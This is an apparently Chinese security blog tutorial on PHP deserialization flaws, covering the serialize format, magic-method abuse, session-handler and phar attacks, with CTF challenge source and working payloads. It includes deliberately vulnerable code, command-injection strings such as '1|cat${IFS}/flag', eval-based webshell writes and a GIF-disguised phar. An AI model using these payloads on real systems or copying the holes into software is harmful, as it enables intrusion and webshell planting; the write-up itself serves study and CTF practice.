反序列化漏洞主要是反序列化的过程中某些参数可控,传入一些精心构造的字符串,从而控制内部的变量设置函数,执行想要的操作。

序列化

PHP 序列化后的内容是简单的文本格式,但是对字母大小写和空白(空格、回车、换行等)敏感,而且字符串是按照字节(或者说是 8 位的字符)计算的,因此,更合适的说法是 PHP 序列化后的内容是字节流格式。因此用其他语言实现时,如果所实现的语言中的字符串不是字节储存格式,而是 Unicode 储存格式的话,序列化后的内容不适合保存为字符串,而应保存为字节流对象或者字节数组,否则在与 PHP 进行数据交换时会产生错误。

php序列化的字母标示及其含义

1
2
3
4
5
6
7
8
9
10
11
12
13
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N 表示的是 NULL,而 b

*NULL 和标量类型的序列化 *

  1. NULL 的序列化

    1
    N;
  2. boolean 型数据的序列化

    1
    b:<digit>;
  3. integer 型数据的序列化

    1
    i:<number>;

    其中<number>为一个整型数,范围为:-2147483648 到 2147483647。数字前可以有正负号,如果被序列化的数字超过这个范围,则会被序列化为浮点数类型而不是整型。

  4. double 型数据的序列化

    1
    d:<number>;

    其中 为一个浮点数,其范围与 PHP 中浮点数的范围一样。可以表示成整数形式、浮点数形式和科学技术法形式。如果序列化无穷大数,则 为 INF,如果序列化负无穷大,则 为 -INF。序列化后的数字范围超过 PHP 能表示的最大值,则反序列化时返回无穷大(INF),如果序列化后的数字范围超过 PHP 所能表示的最小精度,则反序列化时返回 0。当浮点数为非数时,被序列化为 NAN,NAN 反序列化时返回 0。但其它语言可以将 NAN 反序列化为相应语言所支持的 NaN 表示。

  5. 1
    s:<length>:"<value>";

    其中 <length><value> 的长度,<length>是非负整数,数字前可以带有正号(+)。<value> 为字符串值,这里的每个字符都是单字节字符,其范围与 ASCII 码的 0 - 255 的字符相对应。每个字符都表示原字符含义,没有转义字符,<value> 两边的引号(””)是必须的,但不计算在<length> 当中。这里的 <value>相当于一个字节流,而<length>是这个字节流的字节个数

简单复合类型的序列化

  1. 数组的序列化

    1
    a:<n>:{<key 1><value 1><key 2><value 2>...<key n><value n>}

    其中 <n> 表示数组元素的个数,<key 1>、<key 2>……<key n>表示数组下标,<value 1>、<value 2>……<value n> 表示与下标相对应的数组元素的值。

  2. 对象的序列化

    1
    O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}

    其中 <length>表示对象的类名 <class name>的字符串长度。<n>表示对象中的字段1个数。这些字段包括在对象所在类及其祖先类中用 var、public、protectedprivate 声明的字段,但是不包括 staticconst 声明的静态字段。也就是说只有实例(instance)字段

  3. 对象字段名的序列化
    var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号 $。

    protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上

    1
    \0*\0

    的前缀。这里的 \0 表示 ASCII 码为 0 的字符,而不是 \0 组合。

    private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上

    1
    \0<declared class name>\0

    的前缀。这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。

    字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。

嵌套复合类型的序列化

  • 对象引用和指针引用
    在 PHP 中,标量类型数据是值传递的,而复合类型数据(对象和数组)是引用传递的。但是复合类型数据的引用传递和用 & 符号明确指定的引用传递是有区别的,前者的引用传递是对象引用,而后者是指针引用
    PHP 只对对象在序列化时才会生成对象引用标示(r)。对所有的标量类型和数组(也 包括 NULL)序列化时都不会生成对象引用。但是如果明确使用了 & 符号作的引用,在序列化时,会被序列化为指针引用标示(R)。

  • 引用标示后的数字
    对象引用(r)和指针引用(R)的格式为:

    1
    2
    r:<number>;
    R:<number>

    <number> 简单的说,就是所引用的对象在序列化串中第一次出现的位置,但是这个位置不是指字符的位置,而是指对象(这里的对象是泛指所有类型的量,而不仅限于对象类型)的位置。
    例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class ClassA {
var $int;
var $str;
var $bool;
var $obj;
var $pr;
}

$a = new ClassA();
$a->int = 1;
$a->str = "Hello";
$a->bool = false;
$a->obj = $a;
$a->pr = &$a->str;

echo serialize($a);

这个例子的结果是:

1
O:6:"ClassA":5:{s:3:"int";i:1;s:3:"str";s:5:"Hello";s:4:"bool";b:0;s:3:"obj";r:1;s:2:"pr";R:3;}

在这个例子中,首先序列化的对象是 ClassA 的一个对象,那么给它编号为 1,接下来要序列化的是这个对象的几个成员,第一个被序列化的成员是 int 字段,那它的编号就为 2,接下来被序列化的成员是 str,那它的编号就是 3,依此类推,到了 obj 成员时,它发现该成员已经被序列化了,并且编号为 1,因此它被序列化时,就被序列化成了 r:1; ,在接下来被序列化的是 pr 成员,它发现该成员实际上是指向 str 成员的一个引用,而 str 成员的编号为 3,因此,pr 就被序列化为 R:3; 了。

  • 对象引用的反序列化

绕过魔术方法反序列化漏洞

__construct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/**
* @Author: yeSi
* @Date: 2019-03-13 10:04:17
* @Last Modified by: yeSi
* @Last Modified time: 2019-03-13 10:30:47
*/
class test2{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class test1{
var $test = '123';
function __wakeup(){
$obj = new test2($this->test);
}
}
$class1 = $_GET['test'];
print_r($class1);
echo "</br>";
$class1_unser = unserialize($class1);
require "shell.php";
?>

这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 wakeup()函数,从而在new ph0en1x()会自动调用对象ph0en1x中的construct()方法,从而把写入到 shell.php中

__wakeup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class yesi{
var $test = '123456';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class1 = $_GET['test'];
print_r($class1);
echo "</br>";
$class3_unser = unserialize($class1);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>

PUG

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
include 'class.php';
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>机场大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你长时间没动,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>");

}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>

payload

1
http://120.78.57.208:6001/?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}

2017百越杯awd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class home{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize($a);
?>

构造序列化:

1
2
3
4
5
6
7
8
9
<?php

class home{
private $method="ping";
private $args=array('1|cat${IFS}/flag');
}
$test=new home();
print_r(serialize($test));
?>

最后payload

1
2
post:
O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:16:"1|cat${IFS}/flag";}}

session反序列化漏洞

实际利用

参照此链接
https://blog.spoock.com/2016/10/16/php-serialize-problem/#%E5%AE%9E%E9%99%85%E5%88%A9%E7%94%A8

安恒杯中的一题

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}

class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}

class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}

?

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

参照此链接:
http://blog.nuptzj.cn/post/105
或者
https://blog.spoock.com/2016/10/16/php-serialize-problem/#CTF

oj一题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

解法
upload.html

1
2
3
4
5
<form action="index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

answer.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/**
* @Author: yeSi
* @Date: 2019-03-13 14:50:08
* @Last Modified by: yeSi
* @Last Modified time: 2019-03-13 17:41:13
*/
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

}
$test=new OowoO();
$test->mdzz="print_r(scandir(dirname(__FILE__)));";
print_r("|".serialize($test));


?>

查看根目录

查看文件

读取文件

phar反序列化漏洞

生成yesi.phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
class not_useful{
var $file = "<?php phpinfo() ?>";
}

@unlink("yesi.phar");
$test = new not_useful();
$phar = new Phar("yesi.phar"); //实例一个phar对象供后续操作

$phar->startBuffering(); //开始缓冲Phar写操作
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif文件头
$phar->setMetadata($test);
$phar->addFromString("test.txt","test"); //以字符串的形式添加一个文件到 phar 档案

$phar->stopBuffering();
?>

可以改成任意后缀,主要是为了过白名单检测后缀。
改成yesi.gif
cmd.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$recieve = $_GET['recieve'];
/*写入文件类操作*/
class not_useful{
var $file;

function __destruct(){
$fp = fopen("C:\phpStudy\PHPTutorial\WWW\shell.php","w"); //自定义写入路径
fputs($fp,$this->file);
fclose($fp);
}

file_get_contents($recieve);

?>

访问

1
192.168.0.31/cmd.php?recieve=phar://yesi.gif/test.txt

即可生成shell.php

参考文章:
浅谈php反序列化漏洞:https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
PHP中SESSION反序列化机制
https://blog.spoock.com/2016/10/16/php-serialize-problem/
magic函数__wakeup()引发的漏洞
http://www.venenof.com/index.php/archives/167/
利用 phar 拓展 php 反序列化漏洞攻击面
https://paper.seebug.org/680/#22-demo
PHP 序列化(serialize)格式详解https://www.neatstudio.com/show-161-1.shtml